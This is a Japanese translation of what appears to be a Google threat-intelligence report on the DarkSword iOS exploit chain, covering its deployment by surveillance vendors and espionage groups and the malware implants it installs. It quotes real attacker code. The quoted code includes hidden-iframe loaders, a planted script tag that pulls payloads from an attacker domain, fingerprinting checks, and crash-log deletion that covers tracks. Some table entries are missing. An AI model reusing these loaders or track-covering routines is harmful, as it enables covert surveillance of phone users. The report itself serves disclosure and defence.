はじめに
Google Threat Intelligence Group(GTIG)は、複数のゼロデイ脆弱性を利用してデバイスを完全に侵害する新しいiOSフルチェーンエクスプロイトを特定しました。回収されたペイロードのツールマークに基づいて、このエクスプロイトチェーンはDarkSwordと呼ばれると考えられます。2025年11月以降、GTIGは複数の商用監視ベンダーと疑わしい国家支援の行為者がDarkSwordを異なるキャンペーンで利用していることを観察しています。これらの脅威アクターは、サウジアラビア、トルコ、マレーシア、ウクライナの標的に対してエクスプロイトチェーンを展開しています。
DarkSwordはiOS 18.4~18.7をサポートし、6つの異なる脆弱性を利用して最終段階のペイロードを展開します。GTIGはDarkSword侵害後に展開された3つの異なるマルウェアファミリーを特定しました:GHOSTBLADE、GHOSTKNIFE、GHOSTSABERです。この単一のエクスプロイトチェーンが異なる脅威アクター全体で拡散することは、以前に発見されたCoruna iOSエクスプロイトキットの拡散を反映しています。特に、Corunaを使用していると以前に観察されたロシアのスパイ活動グループであるUNC6353は、最近DarkSwordをウォータリングホールキャンペーンに組み込んでいます。
このブログ投稿では、これらの異なる脅威アクターによるDarkSwordの使用を検証し、彼らの最終段階ペイロードの分析を提供し、DarkSwordによって利用される脆弱性を説明します。GTIGは2025年後期にDarkSwordで使用される脆弱性をAppleに報告し、すべての脆弱性はiOS 26.3のリリースでパッチされました(ほとんどは以前にパッチされました)。DarkSword配信に関連するドメインをセーフブラウジングに追加しました。ユーザーにiOSの最新バージョンにアップデートするよう強く促します。アップデートが不可能な場合は、ロックダウンモードを有効にして強化されたセキュリティを確保することをお勧めします。
この研究は、LookoutおよびiVerifyの業界パートナーと協力して公開されています。
発見のタイムライン
GTIGは2025年11月にさかのぼるDarkSwordエクスプロイトチェーンのいくつかの異なるユーザーを特定しています。このブログ投稿で文書化されているDarkSword使用に関するケーススタディに加えて、他の商用監視ベンダーまたは脅威アクターもDarkSwordを使用している可能性が高いと評価しています。

図1:DarkSword観察と脆弱性パッチのタイムライン
Snapchatテーマウェブサイトでターゲットにされたサウジアラビアのユーザー(UNC6748)
2025年11月初旬、GTIGは脅威クラスターUNC6748がSnapchatテーマのウェブサイトsnapshare[.]chatを利用してサウジアラビアのユーザーをターゲットにしていることを特定しました(図2)。ウェブサイトのランディングページには難読化技術の混合を使用するJavaScriptコードが含まれており、frame.htmlで別のリソースをプルする新しいIFrameを作成しました(図3)。ランディングページのJavaScriptはuidという名前のセッションストレージキーも設定し、そのキーが既に設定されているかどうかを確認してから、次の配信段階を取得するIFrameを作成しました。これは以前の被害者に再感染することを防ぐためだと評価しています。2025年11月を通じてUNC6748のその後の観察では、ランディングページが更新されてアンチデバッグングと追加の難読化が含まれ、分析を妨げることがわかりました。また、アクターがChromeを使用してユーザーに感染しようとした場合に追加されたコードも特定しました。x-safari-httpsプロトコルハンドラーを使用してページをSafariで開きます(図4)。これは、UNC6748がこの活動の時点でChromeのエクスプロイトチェーンを持っていなかったことを示唆しています。感染プロセス中、被害者は活動を偽装する試みで正当なSnapchatウェブサイトにリダイレクトされます。
frame.htmlは、メインエクスプロイトローダーであるrce_loader.jsをロードする新しいscriptタグを動的に注入する単純なHTMLファイルです(図5)。ローダーは後続の段階で使用される初期化を実行し、XMLHttpRequestを使用してサーバーからリモートコード実行(RCE)エクスプロイトを取得します(図6)。
2025年11月を通じてUNC6748活動を複数回観察しました。感染プロセスに対して主要および軽微な更新が行われました:
-
最初に観察したUNC6748活動は、
rce_module.jsとrce_worker_18.4.jsの2つのファイルに分割された1つのRCEエクスプロイトのみをサポートしていました(図7)。このエクスプロイトは主にCVE-2025-31277(WebKitおよびApple Safariで使用されるJavaScriptエンジンであるJavaScriptCoreのメモリ破損脆弱性)を利用し、またCVE-2026-20700(dyldのポインター認証コード(PAC)バイパス)も利用していました。 -
その後、数日後に別のRCEエクスプロイト
rce_worker_18.6.jsが追加された活動を特定しました(図8)。このエクスプロイトはCVE-2025-43529(JavaScriptCoreの別のメモリ破損脆弱性)を同じファイル内の同じCVE-2026-20700エクスプロイトと一緒に使用していました。
-
ローダーは
rce_module_18.6.jsペイロードも取得するように変更されました。これは他の場所では使用されないと観察された単純な関数のみを定義していました。 -
ただし、このために実装されたロジックはデバイスバージョンが18.6でない場合、iOS 18.4エクスプロイトを正しく提供しなかったため、2025年9月に2ヶ月前にリリースされたiOS 18.7の存在を考慮していませんでした。これは、この更新がUNC6748によって取得および/または展開される数か月前に原래書かれた可能性があることを示唆しています。
2025年11月後半、rce_worker_18.7.jsという別のモジュールが追加されたことを観察しました(図9)。これはrce_worker_18.6.jsの更新されたバージョンでしたが、iOS 18.7をサポートするためのオフセットが追加されていました。
-
この場合、ローダーでロジックの欠陥もありました。検出されたデバイスバージョンに関係なくiOS 18.7のエクスプロイトをロードしていました。
私たちの観察では、UNC6748はサンドボックスエスケープと権限昇格、および同じ最終ペイロードGHOSTKNIFEに同じモジュールを使用していました。

図2:snapshare[.]chat偽装ページ
if (!sessionStorage.getItem("uid") && isTouchScreen) {
sessionStorage.setItem("uid", '1');
const frame = document.createElement("iframe");
frame.src = "frame.html?" + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = "none";
document.body.appendChild(frame);
} else {
top.location.href = "red";
}
図3:frame.htmlframe.htmlをロードするランディングページスニペット(UNC6748、2025年11月)
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">document.write('<script defer=\"defer\" src=\"rce_loader.js\"\>\<\/script\>');</script>
</body>
</html>
図4:frame.htmlコンテンツ(UNC6748、2025年11月)
if (typeof browser !== "undefined" || !isIphone()) {
console.log("");
} else {
location.href = "x-safari-https://snapshare.chat/<redacted>";
}
図5:x-safari-httpsの使用を示すランディングページコードスニペット(UNC6748、2025年11月)
function getJS(fname,method = 'GET')
{
try
{
url = fname;
print(`trying to fetch ${method} from: ${url}`);
let xhr = new XMLHttpRequest();
xhr.open("GET", `${url}` , false);
xhr.send(null);
return xhr.responseText;
}
catch(e)
{
print("got error in getJS: " + e);
}
}
図6:追加段階をフェッチするためのロジックを示すrce_loader.jsスニペット(UNC6748、2025年11月)
let workerCode = "";
workerCode = getJS(`rce_worker_18.4.js`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
図7:単一のRCEエクスプロイトワーカーをロードしているrce_loader.jsスニペット(UNC6748、2025年11月)
let workerCode = "";
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version
else
workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
図8:異なるRCEエクスプロイトワーカーのサポート(試行)を示すrce_loader.jsスニペット(UNC6748、2025年11月)
let workerCode = "";
if(ios_version == '18,7')
workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`); // local version
else
workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
図9:iOS 18.7サポートが追加されたrce_loader.jsスニペット(UNC6748、2025年11月)
GHOSTKNIFE
この活動では、GTIGがGHOSTKNIFEとして追跡するバックドアをUNC6748が展開しているのを観察しました。JavaScriptで書かれたGHOSTKNIFEには、署名済みアカウント、メッセージ、ブラウザデータ、位置履歴、記録など、異なるタイプのデータを流出させるための複数のモジュールがあります。また、C2サーバーからファイルをダウンロード、スクリーンショットの取得、デバイスのマイクからオーディオの記録をサポートしています。GHOSTKNIFEはECDHとAESに基づくスキームを使用して暗号化される、カスタムバイナリプロトコルでHTTPを使用してC2サーバーと通信します。GHOSTKNIFEはC2サーバーから新しいパラメータで設定を更新できます。
GHOSTKNIFEは実行中に/tmp/<uuid>.<numbers>の下のディスクにファイルを書き込みます。ここでuuidはランダムに生成されたUUIDv4値で、numbersはハードコードされた複数の数字のシーケンスです。そのディレクトリの下に、STORAGE、DATA、TMPを含む複数のサブフォルダを作成します。GHOSTKNIFEの各モジュールが実行されるため、その構成は/tmp/<uuid>.<numbers>/STORAGE/<uuid2>.<id>にデータを書き込みます。ここでidはモジュールの数値で、uuid2は別のランダムに生成されたUUIDv4値です。さらに、GHOSTKNIFEは定期的に予期しない障害が発生した場合に追跡をカバーするためにクラッシュログをデバイスから消去します(図10)。
cleanLogs(){
let files = MyHelper.getContentsOfDir("/var/mobile/Library/Logs/CrashReporter/");
for(let file of files){//.ips // mediaplaybackd-" panic-full-
if(file.includes("mediaplaybackd") || file.includes("SpringBoard") || file.includes("com.apple.WebKit.") || file.includes("panic-full-") ){
MyHelper.deleteFileAtPath(file);
}
}
}
図10:クラッシュログを削除するGHOSTKNIFEスニペット
トルコとマレーシアのユーザーをターゲットにしたキャンペーン(PARS Defense)
2025年11月後半、GTIGはトルコの商用監視ベンダーPARS Defenseに関連する活動を観察しました。トルコでDarkSwordが使用され、iOS 18.4-18.7をサポートしていました。UNC6748の活動とは異なり、このキャンペーンはより注意深いOPSEC、エクスプロイトローダーおよび一部のエクスプロイト段階に適用された難読化、ならびにサーバーと被害者間でのエクスプロイトの暗号化にECDHとAESを使用して実施されました(図11)。さらに、PARS Defenseが使用する難読化版rce_loader.jsは、検出されたiOSバージョンに応じて正しいRCEエクスプロイトを取得しました(図12)。
その後、2026年1月に、GTIGは異なるPARS Defenseカスタマーに関連するマレーシアでの追加活動を観察しました。この場合、活動で使用された別のローダーを収集することができました。これには追加のデバイスフィンガープリンティングロジックが含まれており、uidセッションストレージチェックも使用していました。このローダーはUNC6748が行ったようなすべてのチェックに合格しないターゲットに対してtop.location.hrefリダイレクトも使用していますが、同じURLにwindow.location.hrefも設定しています(図13)。
利用可能な場合、GTIGはこの活動で使用された別の最終ペイロード、GHOSTSABERとして追跡するバックドアを特定しました。
function getJS(_0x12fba8) {
const _0x35744f = generateKeyPair();
const _0x4a6eb4 = exportPublicKeyAsPem(_0x35744f.publicKey);
const _0x1bc168 = self.btoa(_0x4a6eb4);
const _0x119092 = {
'a': _0x1bc168
};
_0x12fba8 = _0x12fba8.startsWith('/') ? _0x12fba8 : '/' + _0x12fba8;
const _0x1fedd2 = new XMLHttpRequest();
_0x1fedd2.open('POST', 'https://<redacted>' + (_0x12fba8 + '?' + Date.now()), false);
_0x1fedd2.setRequestHeader('Content-Type', 'application/json');
_0x1fedd2.send(JSON.stringify(_0x119092));
if (_0x1fedd2.status === 0xc8) {
const _0x362968 = JSON.parse(_0x1fedd2.responseText);
const _0x32efb2 = _0x362968.a;
const _0x46ca4b = _0x362968.b;
const _0xfae3b8 = b64toUint8Array(_0x32efb2);
const _0x2f4536 = b64toUint8Array(_0x46ca4b);
const _0xa36b4f = deriveAesKey(_0x35744f.privateKey, _0x2f4536);
const _0x36e338 = decryptData(_0xfae3b8, _0xa36b4f);
const _0x50186a = new TextDecoder().decode(_0x36e338);
return _0x50186a;
}
return null;
}
図11:DarkSwordローダーから難読化解除されたgetJS()スニペット(PARS Defense、2025年11月)
let workerCode = '';
if (ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2' || ios_version == '18,7') {
workerCode = getJS('6cde159c.js?' + Date.now());
} else {
workerCode = getJS('a9bc5c66.js?' + Date.now());
}
let workerBlob = new Blob([workerCode], {
'type': 'text/javascript'
});
let workerBlobUrl = URL.createObjectURL(workerBlob);
図12:RCEワーカーをロードするための難読化解除されたスニペット(PARS Defense、2025年11月)
if (!sessionStorage.getItem('uid') && canUseApplePay() && "standalone" in navigator && (CSS.supports("backdrop-filter: blur(10px)") || CSS.supports("-webkit-backdrop-filter: blur(10px)")) && document.pictureInPictureEnabled && !(typeof window.chrome === "object" && window.chrome !== null) && !('InstallTrigger' in window) && supportsWebGL2() && getDeviceInputInfo() && !("vibrate" in navigator) && debuggerCheck()) {
(() => {
function _0x45e723(_0x52731a) {
const _0x43f8d9 = generateKeyPair();
const _0x427066 = exportPublicKeyAsPem(_0x43f8d9.publicKey);
const _0x5cfee7 = self.btoa(_0x427066);
const _0x96910f = {
'a': _0x5cfee7
};
_0x52731a = _0x52731a.startsWith('/') ? _0x52731a : '/' + _0x52731a;
const _0x436cc4 = new XMLHttpRequest();
_0x436cc4.open("POST", 'https://<redacted>' + (_0x52731a + '?' + Date.now()), false);
_0x436cc4.setRequestHeader('Content-Type', "application/json");
_0x436cc4.send(JSON.stringify(_0x96910f));
if (_0x436cc4.status === 0xc8) {
const _0x4a4193 = JSON.parse(_0x436cc4.responseText);
const _0x362b30 = _0x4a4193.a;
const _0x536004 = _0x4a4193.b;
const _0x183b3f = b64toUint8Array(_0x362b30);
const _0x46bbee = b64toUint8Array(_0x536004);
const _0x43e600 = deriveAesKey(_0x43f8d9.privateKey, _0x46bbee);
const _0x2e0735 = decryptData(_0x183b3f, _0x43e600);
const _0x26a8b1 = new TextDecoder().decode(_0x2e0735);
return _0x26a8b1;
}
return null;
}
let _0x100ce6 = _0x45e723('6297d177.html?' + Math.random());
const _0x5f5a7d = document.createElement("iframe");
_0x5f5a7d.srcdoc = _0x100ce6;
_0x5f5a7d.style.height = 0x0;
_0x5f5a7d.style.width = 0x0;
_0x5f5a7d.style.border = 'none';
document.body.appendChild(_0x5f5a7d);
})();
} else {
top.location.href = "<legit website>";
window.location.href = '<legit website>';
}
図13:DarkSwordローダーをフェッチするための難読化解除されたランディングページスニペット(PARS Defense、2026年1月)
GHOSTSABER
GHOSTSABERはHTTP(S)経由でC2サーバーと通信するPARS Defenseが使用するJavaScriptバックドアです。その機能にはデバイスとアカウント列挙、ファイル列挙、データ流出、および任意のJavaScriptコード実行が含まれます。サポートされているコマンドの完全なリストはTable 1に詳細に記載されています。観察されたGHOSTSABERサンプルには、実行に必要なコードがない複数のコマンドへの参照が含まれています。デバイスのマイクからのオーディオ記録とC2サーバーへのデバイスの現在の位置情報の送信を言及するコマンドを含みます。これらのコマンドはsend_command_to_upper_processという関数を使用し、これはそうでなければ暗号化で未使用の共有メモリ領域に書き込みます。フォローオンのバイナリモジュールがC2サーバーからダウンロードされ、実行時にこれらのコマンドを実装する可能性があります。
|
コマンド |
説明 |
|
|
C2チェックイン間のスリープ期間を変更する |
|
|
基本的なデバイス情報をC2サーバーにアップロードする |
|
|
デバイスにサインインしたアカウントのリストをC2サーバーにアップロードする |
|
|
インストールされたアプリケーションのリストをC2サーバーにアップロードする |
|
|
直接実装されていない |
|
|
任意のSQLiteデータベースに対して任意のSQLクエリを実行し、結果をC2サーバーにアップロードする |
|
|
操作なし |
|
|
直接実装されていない |
|
|
直接実装されていない |
|
|
指定された期間内のiOSの写真アプリからのサムネイルをC2サーバーにアップロードする |
|
|
指定されたインストール済みアプリケーションのすべてのファイルをC2サーバーにアップロードする |
|
|
直接実装されていない |
|
|
任意のファイルのリストをC2サーバーにアップロードする |
|
|
指定された正規表現パターンに一致するパスを持つファイルのリストをC2サーバーにアップロードする |
|
|
指定されたディレクトリ内のファイルとメタデータの再帰的なリストをC2サーバーにアップロードする |
|
|
任意のJavaScriptブロブを実行し、出力をC2サーバーにアップロードする |
表1:GHOSTSABERでサポートされているコマンド
UNC6353からの新しいウクライナのウォータリングホール活動
GTIGは疑わしいロシアのスパイ活動アクターであるUNC6353がウクライナのユーザーをターゲットにした新しいウォータリングホールキャンペーンでDarkSwordを利用していることを観察しました。私たちの最近のブログ投稿で述べたように、2025年夏にUNC6353の追跡を開始しました。ウクライナのウェブサイトへのウォータリングホール攻撃を実施してCorunaを配信する脅威クラスターです。この新しい活動は2026年3月を通じて有効でしたが、少なくとも2025年12月にさかのぼり、DarkSwordエクスプロイトチェーンを利用してGHOSTBLADEを展開しています。GTIGはこの活動の緩和についてCERT-UAに通知および協力しました。
侵害されたウクライナのウェブサイトが更新されて、UNC6353サーバーstatic.cdncounter[.]netから最初の配信段階を取得した悪質なscriptタグが含まれました(図14)。このスクリプト(図15)は動的に新しいIFrameを作成し、そのソースを同じサーバー上のindex.htmlというファイルに設定します(図16)。index.htmlはUNC6748とPARS Defenseが使用するランディングページロジックと重複がありますが、セッションの現在の状態を確認せずにuidセッションストレージキーを設定し、「uid がまだ必要な場合は、単にインストールします」と訳されるロシア語のコメントが含まれています。
注目すべきことに、DarkSwordの観察されたUNC6353の使用はiOS 18.4-18.6のみをサポートしていました。UNC6748とPARS Defenseに起因する初期のDarkSword使用はiOS 18.7もサポートしていましたが、運用タイムラインがそれ以降であったにもかかわらず、UNC6353からのそのような使用は観察されませんでした。ただし、このバージョンで使用されているローダーは実行中のiOSバージョンに対応するRCEモジュールを正しくロードしました。UNC6748はiOS 18.4-18.6サポートのみでDarkSwordを使用した場合は観察されませんでした(図17)。
<script async src="https://static.cdncounter.net/widgets.js?uhfiu27fajf2948fjfefaa42"></script>
図14:UNC6353によって使用された悪質なスクリプトタグ(2026年3月)
(function () {
const iframe = document.createElement("iframe");
iframe.src = "https://static.cdncounter.net/assets/index.html";
iframe.style.width = "1px";
iframe.style.height = "1px";
iframe.style.border = "0";
iframe.style.position = "absolute";
iframe.style.left = "-9999px";
iframe.style.opacity = "0.01";
// 重要なSafari
iframe.setAttribute(
"sandbox",
"allow-scripts allow-same-origin"
);
document.body.appendChild(iframe);
})();
図15:widgets.js(UNC6353、2026年3月)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>テストページ</title>
</head>
<body>
<script>
// uidがまだ必要な場合は、単にインストールします
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.width = '1px';
frame.style.opacity = '0.01'
frame.style.position = 'absolute';
frame.style.left = '-9999px';
frame.style.height = '1px';
frame.style.border = 'none';
document.body.appendChild(frame);
</script>
</body>
</html>
図16:index.html(UNC6353、2026年3月)
let workerCode = "";
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version
else
workerCode = getJS(`rce_worker_18.4.js?${Date.now()}`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
図17:RCEエクスプロイトワーカーをロードするためのrce_loader.jsスニペット(UNC6353、2026年3月)
GHOSTBLADE
これらのウォータリングホールからのデバイス感染に続いて、UNC6353はGTIGがGHOSTBLADEとして追跡するマルウェアファミリーを展開しました。GHOSTBLADEは侵害されたデバイスから多様なデータを収集および流出させるJavaScriptで書かれたデータマイナーです(表2)。GHOSTBLADEによって収集されたデータは、HTTP(S)経由で攻撃者制御サーバーに流出されます。GHOSTKNIFEおよびGHOSTSABERとは異なり、GHOSTBLADEはより低い機能を有し、追加のモジュールやバックドアのような機能をサポートしていません。また連続的に動作しません。ただし、GHOSTKNIFEと同様に、GHOSTBLADEもクラッシュレポートを削除するコードが含まれていますが、それらが保存される別のディレクトリをターゲットにしています(図18)。この活動で観察されたGHOSTBLADEサンプルには、完全なデバッグログが存在し、コード内に多くのコメントがありました。
注目すべきことに、GTIGによって分析されたGHOSTBLADEサンプルには、iOS 18.4以上のバージョンで条件付きでコードを実行するコメントとコードブロックが含まれています。これはDarkSwordがサポートされる最小バージョンです(図19。verはunameから解析されることに注意してください。XNUバージョンを返します)。これはペイロードが18.4より低いバージョンでの実行もサポートしていることを示唆しており、DarkSwordではサポートされていません。
|
カテゴリ |
収集されたデータ |
|---|---|
|
通信とメッセージング |
iMessageデータベース、Telegramデータ、WhatsAppデータ、メールインデックス、通話ログ、連絡先相互作用データ、連絡先 |
|
身元確認とアクセス |
デバイス/アカウント識別子、サインインしたアカウント、デバイスキーチェーン、SIMカード情報、デバイスプロファイル |
|
位置情報と移動性 |
位置情報履歴、保存/既知のWiFiネットワークとパスワード、Find My iPhone設定、位置情報サービス設定 |
|
個人的なコンテンツとメディア |
写真メタデータ、隠された写真、スクリーンショット、iCloud Driveファイル、Notesデータベース、Calendarデータベース |
|
財務と取引 |
暗号通貨ウォレットデータ |
|
使用状況と行動データ |
Safari履歴/ブックマーク/クッキー、ヘルスデータベース、デバイス個人設定データ |
|
システムと接続性 |
インストール済みアプリケーションのリスト、バックアップ設定/情報、セルラー使用量/データ情報、App Store設定 |
表2:GHOSTBLADEによって収集されたデータ
static deleteCrashReports()
{
this.getTokenForPath("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
}
図18:クラッシュログ削除に使用されるGHOSTBLADEコードスニペット
// iOS >= 18.4の場合、migbypassを適用してオートボックス制限をバイパスします
if (ver.major == 24 && ver.minor >= 4) {
mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100));
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null);
migFilterBypass = new MigFilterBypass(mutexPtr);
}
図19:GHOSTBLADEのiOS 18.4 +で条件付きで実行されるコード
DarkSwordエクスプロイトチェーン
述べたように、DarkSwordは6つの異なる脆弱性を使用して脆弱なiOSデバイスを完全に侵害し、フルカーネル権限で最終ペイロードを実行します(表3)。Corunaとは異なり、DarkSwordは限定されたiOSバージョンセット(18.4-18.7)のみをサポートしており、異なるエクスプロイト段階は技術的に洗練されていますが、エクスプロイトをロードするためのメカニズムはCorunaより基本的で堅牢ではありませんでした。
またCorunaとは異なり、DarkSwordはエクスプロイトチェーンと最終ペイロードのすべての段階に純粋なJavaScriptを使用しています。JavaScriptとエクスプロイトで使用される本来のAPI およびIPCチャネルの間に橋渡しするために、より多くの洗練が必要とされていますが、その使用はページ保護層(PPL)またはセキュアページテーブルモニター(SPTM)をバイパスするための脆弱性を特定する必要性を排除しますiOSで、署名されていないバイナリコードの実行を防ぐメカニズム。
|
エクスプロイトモジュール |
CVE |
説明 |
ゼロデイとして悪用 |
パッチを適用したiOSバージョン |
|
rce_module.js |
JavaScriptCoreのメモリ破損脆弱性 |
いいえ |
18.6 |
|
|
rce_worker_18.4.js |
dyldのユーザーモードポインター認証コード(PAC)バイパス |
はい |
26.3 |
|
|
rce_worker_18.6.js rce_worker_18.7.js |
JavaScriptCoreのメモリ破損脆弱性 |
はい |
18.7.3、26.2 |
|
|
dyldのユーザーモードポインター認証コード(PAC)バイパス |
はい |
26.3 |
||
|
sbox0_main_18.4.js sbx0_main.js |
ANGLEのメモリ破損脆弱性 |
はい |
18.7.3、26.2 |
|
|
sbx1_main.js |
iOSカーネルのメモリ管理脆弱性 |
いいえ |
18.7.2、26.1 |
|
|
pe_main.js |
iOSカーネルのメモリ破損脆弱性 |
いいえ |
18.7.2、26.1 |
表3:DarkSwordで使用されるエクスプロイト

図20:DarkSword感染チェーン
エクスプロイト配信
UNC6748、PARS Defense、UNC6353が使用するエクスプロイト配信実装には顕著な類似点と違いがあります。各アクターがDarkSword開発者から基本的なロジックのセットでこれらの配信メカニズムを構築し、自身のニーズに合わせて調整を行ったと評価しています。3つのアクターすべてがuidセッションストレージキーの使用がありましたが、すべて同じ方法ではありませんでした:
-
UNC6748ランディングページが
uidキーを設定し、エクスプロイトローダーを取得する前にそれをチェックするのを一貫して見かけました。
-
UNC6748は感染させる予定がないユーザーをリダイレクトするために
top.location.hrefプロパティのみを設定しました。
PARS Defenseは2026年1月に同じ方法でuidキーを使用していましたが、2025年11月に見かけた初期活動はそれを含まれていませんでした。
-
UNC6748のように、PARS Defenseは
top.location.hrefを設定しましたが、同じ値にwindow.location.hrefも設定しました。
UNC6353はuidキーを設定しましたが、エクスプロイトローダーを取得する前にそれをチェックしませんでした。ソースコード内のコメントは、後続の段階で必要かどうかわからなかったことを示唆しています。
アクターの異なる用法に基づいて、このセッションストレージチェックロジックと、UNC6748およびUNC6353から観察されたframe.htmlを使用してrce_loader.jsをフェッチする後続のロジックは、DarkSwordエクスプロイトチェーン開発者によって開発されたと評価しています。PARS Defenseが2026年1月で使用した追加のフィンガープリンティングロジックとUNC6748が2025年11月で使用したアンチデバッグロジックは、その運用要件をよりよく満たすためにそれらのユーザーによって書かれた可能性が高いと評価しています。
ローダー
観察したすべての活動は効果的に同じエクスプロイトローダーを使用していました。PARS Defenseの暗号化追加などの軽微な違いがいくつかありました。ローダーはRCEエクスプロイトで使用されるWebWorkerオブジェクトを管理し、RCEエクスプロイトライフサイクル全体を通じた状態遷移を行います。ローダーはRCE段階の2つのファイル(rce_module.jsとrce_worker.js(例:rce_worker_18.4.js)の変更をフェッチしています。iOS 18.4エクスプロイトはWebWorkerスクリプトとメインモジュール間のロジックを分割し、ローダーと同じコンテキストでevalされます。2つの異なるコンテキストはRCEエクスプロイトが進行するにつれてpostMessageを使用して通信します。ただし、iOS 18.6/18.7 RCEエクスプロイトは、ワーカーにすべてのエクスプロイトロジックが含まれており、対応するrce_module.jsファイルは使用されていないプレースホルダー関数があるだけです(図21)。
RCE段階をローダーモジュールでフェッチする正確性に関する矛盾は興味深いことです。1つの可能性は、エラーが手動でUNC6353およびPARS Defenseによって修正されたことです。または、UNC6748がDarkSword開発者によって後続の更新される前にエクスプロイトチェーン更新を受け取った可能性があります。これらのバグを修正しました。
// 16進値を表示するため
function dummyy(x) {
return '0x' + x.toString(16);
}
図21:rce_module_18.7.jsコンテンツ(UNC6748、2025年11月)
リモートコード実行エクスプロイト
GTIGはDarkSwordによってリモートコード実行のために悪用された2つの異なるJavaScriptCore(WebKitおよびApple Safariブラウザで使用されるJavaScriptエンジン)脆弱性を観察しました。iOS 18.6より前のバージョンを実行しているデバイスの場合、DarkSwordはJIT最適化/タイプ混乱バグであるCVE-2025-31277を使用します。これはAppleによってiOS 18.6でパッチされました。iOS 18.6-18.7を実行しているデバイスの場合、DarkSwordはData Flow Graph(DFG)JITレイヤーのガベージコレクションバグであるCVE-2025-43529を使用し、GTIG報告後にAppleによってiOS 18.7.3および26.2でパッチされました。両方のエクスプロイトは独自のfakeobj/addrofプリミティブを開発し、その上に同じ方法で任意の読み取り/書き込みプリミティブを構築します。
両方の脆弱性はCVE-2026-20700に直接チェーンされました。dyldのバグであり、後続のエクスプロイト段階に必要な任意のコードを実行するために、ユーザーモードポインター認証コード(PAC)バイパスとして使用されました。この脆弱性はGTIGによる報告後、AppleによってiOS 26.3でパッチされました。
サンドボックスエスケープエクスプロイト
Safariは信頼されていないユーザー入力が処理される可能性のあるブラウザーの異なるコンポーネントを分離するために複数のサンドボックスレイヤーを使用するように設計されています。DarkSwordは2つの異なるサンドボックスエスケープ脆弱性を使用し、最初にWebContentサンドボックスからGPUプロセスにピボットし、その後GPUプロセスからmediaplaybackdにピボットします。必要なRCEエクスプロイトに関係なく、同じサンドボックスエスケープエクスプロイトが使用されました。
WebContentサンドボックスエスケープ
以前Project Zeroおよび他のユーザーによって議論されたように、Safariのレンダリングプロセス(WebContentとして知られている)は信頼されていないユーザーコンテンツで最もアクセス可能であるため、それが含む任意の脆弱性のブラスト半径を制限するために厳密にサンドボックス化されています。これをバイパスするために、DarkSwordはsbox0_main_18.4.jsまたはsbx0_main.jsと呼ばれるエクスプロイトを取得してWebContentサンドボックスから脱出します。このエクスプロイトはCVE-2025-14174(特定のWebGL操作でパラメータが十分に検証されなかったANGLE内の脆弱性)を利用し、DarkSword開発者がSafariのGPUプロセス内で任意のコードを実行するために使用するアウトオブバウンドメモリ操作を導きます。
この脆弱性はGoogleによってANGLE開発者に報告され、AppleおよびGTIGによってiOS 18.7.3およびおよび26.2のリリース時にSafariでパッチされました。
GPUサンドボックスエスケープ
Safariでは、GPUプロセスはWebContentサンドボックスより多くの権限を持っていますが、システムの他の部分へのアクセスが制限されています。この制限をバイパスするために、DarkSwordは別のサンドボックスエスケープエクスプロイトsbx1_main.jsを使用します。これはCVE-2025-43510を利用しています。XNU内のメモリ管理脆弱性です。これはコピーオンライトバグであり、最終的に必要なエクスプロイトを実行できるSafari GPUプロセスより多くの権限を持つシステムサービスであるmediaplaybackd内で任意の関数呼び出しプリミティブを構築するために悪用されます。彼らはJavaScriptCoreランタイムのコピーをmediaplaybackdプロセスにロードし、次の段階のエクスプロイトを実行することによってこれを行います。
この脆弱性はAppleによってiOS 18.7.2および26.1でパッチされました。
ローカル権限昇格と最終ペイロード
最後に、エクスプロイトは別のモジュールpe_main.jsをロードしました。これはCVE-2025-43520を使用します。これはXNUの仮想ファイルシステム(VFS)実装でのカーネルモードのレース条件であり、物理メモリおよび仮想メモリ読み取り/書き込みプリミティブを構築するために悪用される可能性があります。この脆弱性はAppleによってiOS 18.7.2および26.1でパッチされました。
エクスプロイトには、異なるポスト悪用ペイロードで使用されるプリミティブの上に構築されるライブラリクラスのスイートが含まれています。Native(生メモリを操作し、ネイティブ関数を呼び出すための抽象化を提供します)、およびFileUtils(POSIX的なファイルシステムAPIを提供します)。分析されたGHOSTBLADEサンプルに適用されたWebpackプロセスから残された成果物には、ディスク上のこれらのライブラリの構造を示すファイルパスが含まれています(図22)。
GHOSTBLADEはコーディング標準の一貫性とそれとライブラリコード間の密接な統合に基づいてDarkSword開発者によって開発されたと考えられます。これはGHOSTKNIFEおよびGHOSTSABERがこれらのライブラリを利用した方法と著しく異なります。また、PARS Defenseから観察されたサンプルのいくつかのポスト悪用ペイロードライブラリで追加の修正が行われたことも観察しました。追加の生メモリバッファ操作が含まれており、おそらくフォローオンバイナリモジュールで使用されます。さらに、GHOSTBLADEのライブラリには、実装されなかったstartSandworm()という関数への参照が含まれていました。別のエクスプロイトのコードネームである可能性があります。
src/InjectJS.js
src/libs/Chain/Chain.js
